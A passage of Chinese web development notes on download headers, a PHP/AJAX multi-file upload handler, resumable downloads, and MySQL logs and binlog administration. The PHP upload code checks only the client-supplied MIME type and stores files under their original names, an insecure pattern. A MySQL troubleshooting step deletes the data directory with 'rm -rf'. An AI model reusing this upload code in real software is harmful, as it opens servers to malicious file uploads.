当然filename参数可以包含路径信息,但User-Agnet会忽略掉这些信息,只会把路径信息的最后一部分做为文件名。在响应类型为application/octet- stream情况下使用了这个头信息的话,那就意味着不想直接显示内容,而是弹出一个"文件下载"的对话框,接下来就是由用户来决定"打开"还是"保存"了。
Attachment:以附件的形式下载
例: 当代码里面使用Content-Disposition来确保浏览器弹出下载对话框的时候。response.addHeader("Content-Disposition","attachment");一定要确保没有做过关于禁止浏览器缓存的操作。不然opera和firefox可以正常使用,而ie不能正常使用如下:
response.setHeader("Pragma","No-cache");
response.setHeader("Cache-Control","No-cache");
response.setDateHeader("Expires",0);
创建一个文件上传表单,允许用户从表单上传文件
【 enctype属性 】 发送表单数据前对其编码的方法,规定了在提交表单时要使用哪种内容类型 1.application/x-www-form-urlencoded 默认,发送前编码所有字符 2.multipart/form-data 不对字符编码,使用二进制数据,上传文件时必须 3.text/plain 空格转为加号,但不对特殊字符编码 【 accept属性 】 限制文件的类型,当设置该属性时供选择上传的文件只会显示这些类型的文件 注意应该在服务器上对文件上传进行验证 accept="image/png,image/gif,image/jpeg" audio/* 接受所有的声音文件 video/* 接受所有的视频文件 image/* 接受所有的图像文件 MIME_type 一个有效的 MIME 类型,不带参数 【 突破上传的内存限制 】 方法一: 修改php.ini中memory_limit值,改为更大,如64M 方法二: 使用Apache Rewrite方法,动态修改memory_limit的值 首先建立一个.htaccess文件,保存在上传文件程序的当前目录即可,代码如下: php_value memory_limit 100M php_value post_max_size 30M php_value upload_max_filesize 30M php_value max_execution_time 300 php_value max_input_tim 300 php_value display_errors On 【 文件上传错误代码 】 UPLOAD_ERR_OK 0 成功 UPLOAD_ERR_INI_SIZE 1 文件超过php.in中upload_max_filesize选项中的值 UPLOAD_ERR_FORM_SIZE 2 文件大小超过了MAX_FILESIZE的值 UPLOAD_ERR_PARTIAL 3 文件只有部分上传 UPLOAD_ERR_NO_FILE 4 没有上传 UPLOAD_ERR_NO_TMP_DIR 6 找不到临时文件夹 UPLOAD_ERR_CANT_WRITE 7 文件写入失败 【 var_dump($_FILES); 】 $_FILES['userfile']['name']其中userfile是上传字段的name值 $_FILES["file"]["name"] $_FILES["file"]["type"] $_FILES["file"]["size"] $_FILES["file"]["tmp_name"] $_FILES["file"]["error"] //永不为空第二种和第三种多文件上传效果一致;name是数组形式的多文件上传时$_FILES['file']['name'] 在服务器临时文件夹创建了一个被上传文件的临时副本会在脚本结束时消失,需要把它拷贝到保存的位置 上传一组文件处理 【 ajax上传base64编码的图片 】
AJAX多文件上传 提交按钮type="button",不能为submit
ajax异步获取php数据 一般php会在后台处理请求并返回结果给前端,必须是echo的方式,不然ajax获取不到 返回的类型包括:字符串,数字,json,最常用的就是json,返回后前端会处理json成对象然后使用 data: "do=addcollect&good_id=" + good_id + "&store_id=" + store_id + "&user_id=" + user_id,ajax多文件上传实例
< form method="post" enctype="multipart/form-data" id="form1" name="form1">
< input type="hidden" name="MAX_FILE_SIZE" value="102400" />
< p>
< label for="upload_file" >upload_file[]+multiple pic:< /label>
< input type="file" accept="image/png,image/gif,image/jpeg" multiple="multiple" name="upload_file[]" id="upload_file"/>
< /p>
< p>
< input type="button" value="上传" onclick="upload();"/>
< /p>
< /form>
//js部分的代码
function upload(){
var formData = new FormData($( "#form1" )[0]);
$.ajax({
url: "ajax_upload.php",
type: "POST",
data: formData,
dataType:"json",
contentType: false,
processData: false,
success:function(data){ console.log(data);
if (data.status == 200) { // 状态200返回数据
var responsestr = "总共上传文件:" + data.totallnum + ',其中成功:' + data.successnum + '\r\n';
for(var i in data.error){
responsestr += data.error[i] + '\r\n';
}
for(var i in data.result){
responsestr += (parseInt(i)+parseInt(1)) + "." + data.result[i] + '\r\n';
}
console.log(responsestr);
} else { // 状态不是200返回数据
alert("上传错误!");
}
}
});
}
/*后台php代码*/
header("Content-type:text/html;charset=utf-8");
date_default_timezone_set('PRC');
if ($_SERVER['REQUEST_METHOD'] !== 'POST') { // 地址栏进入
http_response_code(405);
exit('Use POST method.');
}
/*$str='';
file_put_contents('globals.php',$str);*/
// 定义接口返回值
$totallnum = 0;
$successnum = 0;
$result = [];
$error = [];
$errarr=[
'0' => 'UPLOAD_ERR_OK',
'1' => 'UPLOAD_ERR_INI_SIZE',
'2' => 'UPLOAD_ERR_FORM_SIZE',
'3' => 'UPLOAD_ERR_PARTIAL',
'4' => 'UPLOAD_ERR_NO_FILE',
'6' => 'UPLOAD_ERR_NO_TMP_DIR',
'7' => 'UPLOAD_ERR_CANT_WRITE',
];
if($_FILES['upload_file']["name"][0] == ''){
$error[] = '请选择要上传的文件!';
}else{
$totallnum = count($_FILES['upload_file']["error"]);
foreach($_FILES['upload_file']['name'] as $key=>$value){
$originalname=$value;
$errno = $_FILES['upload_file']["error"][$key];
if($errno>0){
$error[] = $originalname . '上传错误:' . $errarr[$errno] . '
';
continue;
}
$supportFile = ["image/png" ,"image/gif" ,"image/jpeg" ];
if(in_array($_FILES['upload_file']['type'][$key],$supportFile)){
$tmpFilePath = $_FILES['upload_file']['tmp_name'][$key];
if(!is_uploaded_file($tmpFilePath)){
continue;
}
if($tmpFilePath){
$newFilePath = 'upload/' . $originalname;
if(move_uploaded_file($tmpFilePath,$newFilePath)){
$result[] = $newFilePath;
}
}
}
}
}
$data=array(
"status" => "200",
"totallnum" => $totallnum,
"successnum" => count($result),
"result" => $result,
"error" => $error
);
echo json_encode($data);
php实现文件下载
在b.php中只有$file=fopen($file_dir.$file_name,"r"); 打开了文件,但并没有输出文件的内容 如果用 $file=fopen($file_dir.$file_name,"r"); 打开的文件是图片的话,将不能正确读出图片数据 应使用二进制方式打开: $file=fopen($file_dir.$file_name,"rb");下载任何格式的文件用: header("Content-type: application/octet-stream");
断点续传
断点续传支持从文件上次中断的地方开始传送数据,而并非是从文件开头传送。 断点续传的原理如下: 由于浏览器与服务端的通讯是基于HTTP协议,所以断点续传功能的原理就是靠HTTP请求来实现。 断点续传功能最核心的原理就是利用HTTP请求中的两个字段: 客户端请求头中的Range,和服务端响应头的Content-Range。 在不同客户端实现时只需要找到不同的开发语言实现提交Range的方法即可 模拟一下整个过程 1、浏览器请求服务器上的一个文件时,所发出的请求如下(假设文件名为 file.zip,服务器域名为W): GET /file.zip HTTP/1.1 //浏览器用GET方式获取file.zip文件,HTTP协议版本1.1 Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms- excel,application/msword,application/vnd.ms-powerpoint //可接受的响应内容(文件)类型 Accept-Language: zh-cn //可接受的响应内容语言(简体中文) Accept-Encoding: gzip,deflate //可接受的响应内容的编码方式 User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) //浏览器的身份标识(浏览器类型) Connection: Keep-Alive //浏览器想要优先使用的连接类型 2、服务器收到请求后,寻找请求的文件,提取文件的信息,然后返回给浏览器,返回信息如下: 200 //响应状态码(200标识成功) Content-Length=123456789 //响应消息的长度(单位是字节) Accept-Ranges=bytes //服务器所支持的内容范围(字节) Date=Mon,30 Apr 2001 12:56:11 GMT //此消息被发送时的日期和时间 ETag=W/"02ca57e173c11:95b" //资源的标识符 Content-Type=application/octet-stream //当前内容的类型 Server=Microsoft-IIS/5.0 //服务器名称 Last-Modified=Mon,30 Apr 2001 12:56:11 GMT //所请求的对象的最后修改日期 3、此时文件已经开始下载了,如果现在停止了下载,那么再次下载文件时就要从已经下载的地方继续下载。现在比如按下了继续下载,那么此时浏览器的请求内容如下: GET /file.zip HTTP/1.1 Accept: image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,application/vnd.ms-excel,application/msword,application/vnd.ms-powerpoint Range: bytes=200000- //告诉服务器file.zip这个文件从200000字节开始传,前面的字节不用传了 Accept-Language: zh-cn Accept-Encoding: gzip,deflate User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Connection: Keep-Alive 4、此时服务器收到这个请求后,返回的信息如下: 206 //表示服务器已经成功处理了部分GET请求 Content-Length=123256789 Content-Range=bytes 200000-/123456789 //表示已经返回了200000B的文件数据,同时也返回了文件的全部大小 Date=Mon,30 Apr 2001 12:55:20 GMT ETag=W/"02ca57e173c11:95b" Content-Type=application/octet-stream Server=Microsoft-IIS/5.0 Last-Modified=Mon,30 Apr 2001 12:55:20 GMT
MySQL
安装MySQL时系统自动创建的4个数据库各自功能如下: 【 information_schema 】 information_schema数据库是MySQL自带的,提供了访问数据库元数据的方式。 元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等,也称为"数据词典"和"系统目录"。 在MySQL中把information_schema看作是一个数据库,确切说是信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。在INFORMATION_SCHEMA中有数个只读表,它们实际上是视图,而不是基本表,因此无法看到与之相关的任何文件。 information_schema数据库表说明: 1、SCHEMATA表: 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。 2、TABLES表: 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。 3、COLUMNS表: 提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。 4、STATISTICS表: 提供了关于表索引的信息,是show index from schemaname.tablename的结果取之此表。 5、USER_PRIVILEGES(用户权限)表: 给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。 6、SCHEMA_PRIVILEGES(方案权限)表: 给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表 7、TABLE_PRIVILEGES(表权限)表: 给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表 8、COLUMN_PRIVILEGES(列权限)表: 给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。 9、CHARACTER_SETS(字符集)表: 提供mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。 10、COLLATIONS表: 提供了关于各字符集的对照信息。 11、COLLATION_CHARACTER_SET_APPLICABILITY表: 指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。 12、TABLE_CONSTRAINTS表: 描述了存在约束的表及表的约束类型。 13、KEY_COLUMN_USAGE表: 描述了具有约束的键列。 14、ROUTINES表: 提供了关于存储子程序(存储程序和函数)的信息。此时ROUTINES表不包含自定义函数(UDF)。名为"mysql.proc name"的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。 15、VIEWS表: 给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。 16、TRIGGERS表: 提供了关于触发程序的信息。必须有super权限才能查看该表 【 mysql 】 mysql的核心数据库,类似于sql server中的master表,主要负责存储数据库的用户、权限设置、关键字等mysql自己需要使用的控制和管理信息。不可删除,不要轻易修改 【 performance_schema 】 性能优化的引擎: PERFORMANCE_SCHEMA这个功能默认是关闭的,需要设置参数performance_schema才可以启动,这个参数是静态参数,只能写在my.cnf中,不能动态修改 这里的数据表分为几类: 1) setup table: 设置表,配置监控选项。 2) current events table: 记录当前那些thread正在发生什么事情。 3) history table 发生的各种事件的历史记录表 4) summary table 对各种事件的统计表 5) 杂项表 select table_name from information_schema.tables where table_schema = 'performance_schema' and table_name like 'setup%'; 【 test 】 系统自动创建的测试数据库,一个完全的空数据库,没有任何表,可以删除,任何用户都可以使用
mysql日志
MySQL日志主要包含: 错误日志、查询日志、慢查询日志、事务日志、二进制日志、中继日志 缺省情况下所有日志创建于mysqld数据目录中 可以通过刷新日志来强制mysqld关闭和重新打开日志文件,或者在某些情况下切换到一个新的日志 当执行flush logs语句或执行mysqladmin flush-logs或mysqladmin refresh时日志被老化。 对于存在MySQL复制的情形下,从复制服务器将维护更多日志文件,被称为接替日志。 1、错误日志: 记录启动、运行或停止时出现的问题,一般也会记录警告信息。 2、一般查询日志: 记录建立的客户端连接和执行的语句。 3、慢查询日志: 记录所有执行时间超过long_query_time秒的所有查询或不使用索引的查询,可以帮定位服务器性能问题。 4、二进制日志: 任何引起或可能引起数据库变化的操作,主要用于复制和即时点恢复。 5、中继日志: 从主服务器的二进制日志文件中复制而来的事件,并保存为的日志文件。 6、事务日志: 记录InnoDB等支持事务的存储引擎执行事务时产生的日志。 MYSQL服务无法启动,查看日志 cd C:\Program Files\MySQL\MySQL Server 5.7\bin mysqld --console 解决问题 初始化失败原因有很多,最多可能权限问题。索性删除Data文件夹(即: /var/lib/mysql) rm -rf /var/lib/mysql 删除Data文件夹 mysqld --initialize --console 初始化data目录 chown -R mysql:mysql /var/lib/mysql/ 目录授权 systemctl start mysqld 启动mysql服务 systemctl status mysqld
【 MySQL中日志相关常用的服务器变量 】
expire_logs_days={0..99}
设定二进制日志的过期天数,超出此天数的二进制日志文件将被自动删除。默认0表示不启用过期自动删除功能。如果启用此功能,自动删除工作通常发生在MySQL启动时或FLUSH日志时。作用范围为全局,可用于配置文件,属动态变量。
general_log={ON|OFF}
设定是否启用查询日志,默认值为取决于在启动mysqld时是否使用了–general_log选项。如若启用此项,其输出位置则由–log_output选项进行定义,如果log_output的值设定为NONE,即使用启用查询日志,其也不会记录任何日志信息。作用范围为全局,可用于配置文件,属动态变量。
general_log_file=FILE_NAME
查询日志的日志文件名称,默认为"hostname.log"。作用范围为全局,可用于配置文件,属动态变量。
binlog-format={ROW|STATEMENT|MIXED}
指定二进制日志的类型,默认STATEMENT,建议改为MIXED。如果设定了二进制日志的格式,却没有启用二进制日志,则MySQL启动时会产生警告日志信息并记录于错误日志中。作用范围为全局或会话,可用于配置文件,且属于动态变量。
log-bin={YES|NO}
是否启用二进制日志,如果为mysqld设定了–log-bin选项则其值为ON,否则为OFF。其仅用于显示是否启用了二进制日志,并不反应log-bin的设定值。作用范围为全局级别,属非动态变量。
log_bin_trust_function_creators={TRUE|FALSE}
仅在启用二进制日志时有效,用于控制创建存储函数时如果会导致不安全的事件记录二进制日志条件下是否禁止创建存储函数。默认0表示用户除了CREATE ROUTING或ALTER ROUTINE权限外还有SUPER权限,否则将禁止创建或修改存储函数,同时还要求在创建函数时必需为之使用DETERMINISTIC属性,再不然就是附带READS SQL DATA或NO SQL属性。设置其值为1时则不启用这些限制。作用范围为全局级别,可用于配置文件,属动态变量。
log_error=/PATH/TO/ERROR_LOG_FILENAME
定义错误日志文件。作用范围为全局或会话级别,可用于配置文件,属非动态变量。
log_output={TABLE|FILE|NONE}
定义一般查询日志和慢查询日志的保存方式,可以是TABLE、FILE、NONE,也可以是TABLE及FILE的组合(用逗号隔开),默认TABLE。如果组合中出现了NONE,那么其它设定都将失效,无论是否启用日志功能也不会记录任何相关的日志信息。作用范围为全局级别,可用于配置文件,属动态变量。
log_query_not_using_indexes={ON|OFF}
设定是否将没有使用索引的查询操作记录到慢查询日志。作用范围为全局级别,可用于配置文件,属动态变量。
log_slave_updates
用于设定复制场景中的从服务器是否将从主服务器收到的更新操作记录进本机的二进制日志中。本参数设定的生效需要在从服务器上启用二进制日志功能。
slow_query_log={YES|NO}
是否记录慢查询日志。慢查询是指查询的执行时间超出long_query_time参数所设定时长的事件。作用范围为全局级别,可用于配置文件,属动态变量
long_query_time=#
设定区别慢查询与一般查询的语句执行时间长度。这里的语句执行时长为实际的执行时间,而非在CPU上的执行时长,因此负载较重的服务器上更容易产生慢查询。最小值为0,默认10秒,也支持毫秒级的解析度。作用范围为全局或会话级别,可用于配置文件,属动态变量。
max_binlog_cache_size{4096 .. 18446744073709547520}
二进定日志缓存空间大小,5.5.9+版本仅应用于事务缓存,其上限由max_binlog_stmt_cache_size决定。作用范围为全局级别,可用于配置文件,属动态变量。
max_binlog_size={4096 .. 1073741824}
设定二进制日志文件上限,单位字节,最小值4K,最大值1G,默认1G。某事务所产生的日志信息只能写入一个二进制日志文件,因此实际上的二进制日志文件可能大于这个指定的上限。作用范围为全局级别,可用于配置文件,属动态变量。
max_relay_log_size={4096..1073741824}
设定从服务器上中继日志的体积上限,到达此限度时其会自动进行中继日志滚动。此参数值为0时,mysqld将使用max_binlog_size参数同时为二进制日志和中继日志设定日志文件体积上限。作用范围为全局级别,可用于配置文件,属动态变量。
innodb_log_buffer_size={262144 .. 4294967295}
设定InnoDB用于辅助完成日志文件写操作的日志缓冲区大小,单位字节,默认8MB。较大的事务可以借助于更大的日志缓冲区来避免在事务完成之前将日志缓冲区的数据写入日志文件,以减少I/O操作进而提升系统性能。因此在有着较大事务的应用场景中,建议为此变量设定一个更大的值。作用范围为全局级别,可用于选项文件,属非动态变量。
innodb_log_file_size={108576 .. 4294967295}
设定日志组中每个日志文件的大小,单位字节,默认5MB。较为明智的取值范围是从1MB到缓存池体积的1/n,n表示日志组中日志文件的个数。日志文件越大,在缓存池中需要执行的检查点刷写操作就越少,这意味着所需的I/O操作也就越少,然而这也会导致较慢的故障恢复速度。作用范围为全局级别,可用于选项文件,属非动态变量。
innodb_log_files_in_group={2 .. 100}
设定日志组中日志文件的个数。InnoDB以循环的方式使用这些日志文件,默认2。作用范围为全局级别,可用于选项文件,属非动态变量。
innodb_log_group_home_dir=/PATH/TO/DIR
设定InnoDB重做日志文件的存储目录。在缺省使用InnoDB日志相关的所有变量时,其默认会在数据目录中创建两个大小为5MB的名为ib_logfile0和ib_logfile1的日志文件。作用范围为全局级别,可用于选项文件,属非动态变量。
innodb_support_xa={TRUE|FLASE}
存储引擎事务在存储引擎内部被赋予了ACID属性,分布式(XA)事务是一种高层次的事务,它利用"准备"然后"提交"(prepare-then-commit)两段式的方式将ACID属性扩展到存储引擎外部,甚至是数据库外部。然而"准备"阶段会导致额外的磁盘刷写操作。XA需要事务协调员,它会通知所有的参与者准备提交事务(阶段1)。当协调员从所有参与者那里收到"就绪"信息时,它会指示所有参与者进行真正的"提交"操作。
此变量正是用于定义InnoDB是否支持两段式提交的分布式事务,默认启用。事实上所有启用了二进制日志的并支持多个线程同时向二进制日志写入数据的MySQL服务器都需要启用分布式事务,否则多个线程对二进制日志的写入操作可能会以与原始次序不同的方式完成,这将会在基于二进制日志的恢复操作中或是从服务器上创建出不同原始数据的结果。因此除了仅有一个线程可以改变数据以外的其它应用场景都不应该禁用此功能。而在仅有一个线程可以修改数据的应用中,禁用此功能是安全的并可以提升InnoDB表的性能。作用范围为全局和会话级别,可用于选项文件,属动态变量。
relay_log=file_name
设定中继日志的文件名称,默认host_name-relay-bin。也可以使用绝对路径,以指定非数据目录来存储中继日志。作用范围为全局级别,可用于选项文件,属非动态变量。
relay_log_index=file_name
设定中继日志的索引文件名,默认数据目录中的host_name-relay-bin.index。作用范围为全局级别,可用于选项文件,属非动态变量。
relay-log-info-file=file_name
设定中继服务用于记录中继信息的文件,默认为数据目录中的relay-log.info。作用范围为全局级别,可用于选项文件,属非动态变量。
relay_log_purge={ON|OFF}
设定对不再需要的中继日志是否自动进行清理。默认值为ON。作用范围为全局级别,可用于选项文件,属动态变量。
relay_log_space_limit=#
设定用于存储所有中继日志文件的可用空间大小。默认为0,表示不限定。最大值取决于系统平台位数。作用范围为全局级别,可用于选项文件,属非动态变量。
slow_query_log={ON|OFF}
设定是否启用慢查询日志。0或OFF表示禁用,1或ON表示启用。日志信息的输出位置取决于log_output变量的定义,如果其值为NONE,则即便slow_query_log为ON,也不会记录任何慢查询信息。作用范围为全局级别,可用于选项文件,属动态变量。
slow_query_log_file=/PATH/TO/SOMEFILE
设定慢查询日志文件的名称。默认为hostname-slow.log,但可以通过–slow_query_log_file选项修改。作用范围为全局级别,可用于选项文件,属动态变量。
sql_log_bin={ON|OFF}
用于控制二进制日志信息是否记录进日志文件。默认为ON,表示启用记录功能。用户可以在会话级别修改此变量的值,但其必须具有SUPER权限。作用范围为全局和会话级别,属动态变量。
sql_log_off={ON|OFF}
用于控制是否禁止将一般查询日志类信息记录进查询日志文件。默认为OFF,表示不禁止记录功能。用户可以在会话级别修改此变量的值,但其必须具有SUPER权限。作用范围为全局和会话级别,属动态变量。
sync_binlog=#
设定多久同步一次二进制日志至磁盘文件中,0表示不同步,任何正数值都表示对二进制每多少次写操作之后同步一次。当autocommit的值为1时,每条语句的执行都会引起二进制日志同步,否则,每个事务的提交会引起二进制日志同步。 建议设置为1。
【 错误日志 】
在mysql数据库中错误日志功能默认开启,且错误日志无法被禁止,默认错误日志存储在mysql数据库的数据文件中
错误日志主要记录如下几种日志:
———–> 服务器启动和关闭过程中的信息
———–> 服务器运行过程中的错误信息
———–> 事件调度器运行一个事件时产生的信息
———–> 在从服务器上启动从服务器进程时产生的信息
错误日志定义:
可以用–log-error [ = file_name ]选项来指定mysqld保存错误日志文件的位置
如果没有给定file_name值,mysqld使用错误日志名host_name.err,并在数据目录data中写入日志文件
错误日志一般有两个变量可以定义:
错误日志文件: log_error,定义是否启用错误日志的功能和错误日志的存储位置
启用警告信息: log_warnings (默认启用),定义是否将警告信息也定义至错误日志中
【 查询日志 】
默认查询日志是关闭的。由于查询日志会记录用户的所有操作,其中还包含增删查改等信息,在并发操作大的环境下会产生大量的信息从而导致不必要的磁盘IO,会大大降低mysql服务器的性能的。如若不是为了调试数据库的目的建议不要开启查询日志
启动开关: general_log={ON|OFF}
日志文件变量: general_log_file [ =/PATH/TO/file]
全局日志开关: log={ON|OFF},该开关打开后,所有日志都会被启用
记录类型: log_output={TABLE|FILE|NONE}
log_output定义了日志的输出格式: file(文件),table(表),none(不保存),其中前两个输出位置可以同时定义,若设置为NONE则不启用日志,因此要启��通用查询日志,需要至少配置general_log=ON,log_output={TABLE|FILE},general_log_file默认名是host_name.log
【 慢查询日志 】
慢查询日志是用来记录执行时间超过指定时间的查询语句。通过慢查询日志,可以查找出哪些查询语句的执行效率很低,以便进行优化。默认没有启用慢查询,建议开启,它对服务器性能的影响微乎其微,但可以记录mysql服务器上执行了很长时间的查询语句,可以帮助定位性能问题的
查询超时时间: long_query_time,超长时间默认10秒,超过了即为慢查询
启动慢查日志 : slow_query_log
日志记录文件: slow_query_log_file [= file_name ]
启用了slow_query_log=ON选项就会记录执行时间超过long_query_time的查询,初使表锁定的时间不算作执行时间
日志记录文件名默认为/data/hostname-slow.log。
【 事务日志 】
事务日志是InnoDB特有的日志,可以帮助提高事务的效率。使用事务日志,存储引擎在修改表的数据时只需要修改其内存拷贝,再把改修改行为记录到持久在硬盘上的事务日志中,而不用每次都将修改的数据本身持久到磁盘。事务日志采用追加的方式,因此写日志的操作是磁盘上一小块区域内的顺序I/O,而不像随机I/O需要在磁盘的多个地方移动磁头,所以采用事务日志的方式相对来说要快得多。事务日志持久以后,内存中被修改的数据在后台可以慢慢的刷回到磁盘。目前大多数的存储引擎都是这样实现的,通常称之为预写式日志,修改数据需要写两次磁盘。
如果数据的修改已经记录到事务日志并持久化,但数据本身还没有写回磁盘,此时系统崩溃,存储引擎在重启时能够自动恢复这部分修改的数据。具有的恢复方式则视存储引擎而定。
事务性存储引擎用于保证(ACID)原子性、一致性、隔离性和持久性;其不会立即写到数据文件中,而是写到事务日志中。
innodb_flush_log_at_trx_commit:
———–> 0: 每秒同步,并执行磁盘flush操作;
———–> 1: 每事务同步,并执行磁盘flush操作;
———–> 2: 每事务同步,但不执行磁盘flush操作;
【 二进制日志 】
也叫作变更日志,主要用于记录修改数据或有可能引起数据改变的mysql语句,并且记录了语句发生时间、执行时长、操作的数据等等。所以说通过二进制日志可以查询mysql数据库中进行了哪些变化。一般大小体积上限为1G
二进制日志启动开关: log-bin [= file_name]
5.6+版本一定要手动指定。5.6以下版本默认file_name为$datadir/mysqld-binlog
二进制日志用于记录所有更改数据的语句,主要用于复制和即时点恢复。
二进制日志的主要目的是在数据库存在故障时,恢复时能够最大可能地更新数据库(即时点恢复),因为二进制日志包含备份后进行的所有更新,二进制日志还用于在主复制服务器上记录所有将发送给从服务器的语句。
查看二进制日志的工具为: mysqlbinlog
二进制日志的格式:
——> 基于语句: statement
——> 基于行: row
——> 混合方式: mixed
由于基于语句和基于行的日志格式都有自己的好处,MySQL使用的二进制日志文件是混合方式的二进制日志,内置策略会自动选择最佳的格式。
二进制日志事件:
——> 产生的时间: starttime
——> 相对位置: position
二进制日志文件:
——> 索引文件
——> 二进制日志文件
在数据目录下有一个mysql-bin.index便是索引文件,以mysql-bin开头并以数字结尾的文件为二进制日志文件。
日志的滚动:
MySQL的滚动方式与其他日志不太一样,滚动时会创建一个新的编号大1的日志用于记录最新的日志,而原日志名字不会被改变。每次重启MySQL服务,日志都会自动滚动一次。
定时完全备份 + binlog日志恢复增量数据部分
MySQL的二进制日志binlog是MySQL最重要的日志,记录了所有的DDL和DML语句,以事件形式记录,还包含语句所执行的消耗的时间,MySQL的二进制日志是事务安全型的 一般来说开启binlog日志大概会有1%的性能损耗。 binlog日志有两个最重要的使用场景: 1)主从复制: MySQL Replication在Master端开启binlog,Master把它的二进制日志传递给slaves来达到master-slave数据一致的目的。 2)数据恢复,通过使用mysqlbinlog工具来使恢复数据。 binlog日志包括两类文件: 1)二进制日志索引文件(文件名后缀为.index)用于记录所有的二进制文件 2)二进制日志文件(文件名后缀为.00000*)记录数据库所有的DDL和DML语句事件 编辑打开mysql配置文件,重启mysqld服务使配置生效 log-bin=mysql-bin 确认是打开状态(mysql-bin是日志的基本名或前缀名); 查看mysql的数据存放目录 [root@vm-002 ~]# ps -ef|grep mysql root 9791 1 0 21:18 pts/0 00:00:00 /bin/sh /usr/bin/mysqld_safe --datadir=/var/lib/mysql --socket=/var/lib/mysql/mysql.sock --pid-file=/var/run/mysqld/mysqld.pid --basedir=/usr --user=mysql mysql> show master logs; // 查看所有binlog日志列表 mysql> show binary logs; // 查看MySQL Server上的二进制日志列表,等价于show master logs mysql> show master status; // 查看master状态,即最后最新一个binlog日志的编号名称及其最后一个操作事件pos结束点(Position)值,查看当前正在使用的二进制文件 mysql> show master status; #查看当前正在使用的二进制文件 +------------------+----------+--------------+------------------+ | File | Position | Binlog_Do_DB | Binlog_Ignore_DB | +------------------+----------+--------------+------------------+ | mysql-bin.000033 | 107 | | | +------------------+----------+--------------+------------------+ mysql> flush logs; // flush刷新log日志,产生新编号的binlog日志文件,每当mysqld服务重启时会自动执行此命令,在mysqldump备份数据时加-F选项也会刷新binlog日志; mysql> reset master; // 重置所有binlog日志 RESET MASTER 与 RESET SLAVE 前者清空index文件中列出的所有二进制日志,重置index文件为空,并创建一个新的二进制日志文件,一般用于MASTER首次启动时 后者使SLAVE忘记其在MASTER二进制日志文件中的复制位置,它会删除master.info、relay-log.info 和所有中继日志文件并开始一个新的中继日志文件,以便于开始一个干净的复制。在使用RESET SLAVE前需先关闭SLAVE复制线程 mysql> purge binary logs // 用于清理二进制日志 mysql> purge binary logs to 'mysql-bin.010'; mysql> purge binary logs before '2008-04-02 22:46:26'; mysql> show binary logs; #查看所有的二进制文件 +------------------+-----------+ | Log_name | File_size | +------------------+-----------+ | mysql-bin.000028 | 150 | | mysql-bin.000029 | 150 | | mysql-bin.000030 | 357 | | mysql-bin.000031 | 107 | | mysql-bin.000032 | 150 | | mysql-bin.000033 | 107 | +------------------+-----------+ mysql> purge binary logs to 'mysql-bin.000031'; #删除某个序号之前的日志文件 Query OK,0 rows affected (0.04 sec) mysql> show binary logs; +------------------+-----------+ | Log_name | File_size | +------------------+-----------+ | mysql-bin.000031 | 107 | | mysql-bin.000032 | 150 | | mysql-bin.000033 | 556 | +------------------+-----------+
查看binlog日志内容,常用有两种方式
【 1、使用mysqlbinlog自带查看命令法 】 mysqlbinlog常用options(类似字节偏移数): --start-position : 开始位置 --stop-position : 结束位置 --start-datetime 'yyyy-mm-dd hh:mm:ss' : 开始时间 --stop-datetime 'yyyy-mm-dd hh:mm:ss' : 结束时间 注意: -->binlog是二进制文件,普通文件查看器cat、more、vim等都无法打开,必须使用自带的mysqlbinlog命令查看 -->binlog日志与数据库文件在同目录中 -->在MySQL5.5以下版本使用mysqlbinlog命令时如果报错,就加上 "--no-defaults"选项 cmd> mysqlbinlog E:\wamp64\bin\mysql\mysql5.7.9\data\mysql-bin.000002 mysql方式可以查看到服务器上存在的二进制日志文件及文件中的事件,但是想查看到文件中具体的内容并应于恢复场景还得借助mysqlbinlog工具 查看: shell> mysqlbinlog [options] log_file ... 比如: mysqlbinlog [options] VMS00781-bin.000001 二进制日志文件的格式包含行模式、语句模式和混合模式(也即有服务器决定在什么情况下记录什么类型的日志),基于语句的日志中事件信息包含执行的语句等,基于行的日志中事件信息包含的是行的变化信息等。混合模式的日志中两种类型的事件信息都会记录。 为了便于查看记录了行变化信息的事件在当时具体执行了什么样的SQL语句可以使用mysqlbinlog工具的-v(--verbose)选项,该选项会将行事件重构成被注释掉的伪SQL语句,如果想看到更详细的信息可以将该选项给两次如-vv,这样可以包含一些数据类型和元信息的注释内容,如 mysqlbinlog -v E:\wamp64\bin\mysql\mysql5.7.9\data\mysql-bin.000001 mysqlbinlog -vv E:\wamp64\bin\mysql\mysql5.7.9\data\mysql-bin.000001 另外mysqlbinlog和可以通过--read-from-remote-server选项从远程服务器读取二进制日志文件,这时需要一些而外的连接参数,如--host,--password ,--port,--user,--socket,--protocol等,这些参数仅在指定了--read-from-remote-server后有效。 无论是本地二进制日志文件还是远程服务器上的二进制日志文件,无论是行模式、语句模式还是混合模式的二进制日志文件,被mysqlbinlog工具解析后都可直接应用与MySQL Server进行基于时间点、位置或数据库的恢复。 比如: mysqlbinlog VMS00781-bin.000001 | mysql -uusername -p 或先将二进制日志写到.sql文件中,然后在mysql客户端执行这些文件,比如: mysqlbinlog VMS00781-bin.000001 > /tmp/VMS00781-bin.000001.sql mysql>source /tmp/VMS00781-bin.000001.sql 这里有几个比较关键的参数: --database=db_name,-d db_name 